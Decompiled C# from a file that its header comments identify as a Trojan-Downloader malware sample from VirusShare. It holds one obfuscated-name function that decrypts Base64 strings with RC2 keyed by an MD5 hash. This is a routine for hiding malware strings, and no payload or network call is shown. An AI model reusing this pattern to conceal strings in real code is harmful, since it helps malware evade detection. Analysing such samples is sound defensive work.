// Decompiled with JetBrains decompiler
// Type: WindowsApplication1.Module1
// Assembly: fileme, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: EE37B39E-643D-4B2B-8378-564191B66CC0
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.Small.dj-5e6edc47fa44da3bb893cd2b44e4cfd8c00dde710aaa5b5c8f41990a1a82debe.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Security.Cryptography;
using System.Text;

namespace WindowsApplication1
{
  [StandardModule]
  internal sealed class Module1
  {
    public static string fvgimhxbcbdpswlsrzbcylsphyzjxahfwdqqdiocmbowjxczialdjlkp(
      string input,
      string pass)
    {
      RC2CryptoServiceProvider cryptoServiceProvider1 = new RC2CryptoServiceProvider();
      MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
      string str;
      try
      {
        byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(pass));
        cryptoServiceProvider1.Key = hash;
        cryptoServiceProvider1.Mode = CipherMode.ECB;
        ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
        byte[] inputBuffer = Convert.FromBase64String(input);
        str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return str;
    }
  }
}
